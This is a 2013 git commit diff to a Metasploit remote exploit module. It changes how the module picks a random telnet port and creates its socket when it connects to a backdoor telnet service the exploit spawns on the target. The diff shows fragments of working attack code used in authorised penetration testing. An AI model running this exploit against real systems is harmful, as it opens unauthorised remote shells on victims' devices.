Fix possible collisions on binding port and handle rex socket

bug/bundler_fix
jvazquez-r7 2013-09-19 08:23:25 -05:00
parent 86e5163cad
commit 926ddf35bc
1 changed files with 5 additions and 2 deletions

View File

@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
telnet_port = rand(65535)
telnet_port = rand(32767) + 32768
print_status("#{rhost}:#{rport} - Telnet port: #{telnet_port}")
@ -124,12 +124,15 @@ class Metasploit3 < Msf::Exploit::Remote
end
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i })
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i, 'Context' => ctx })
if sock.nil?
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
add_socket(sock)
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?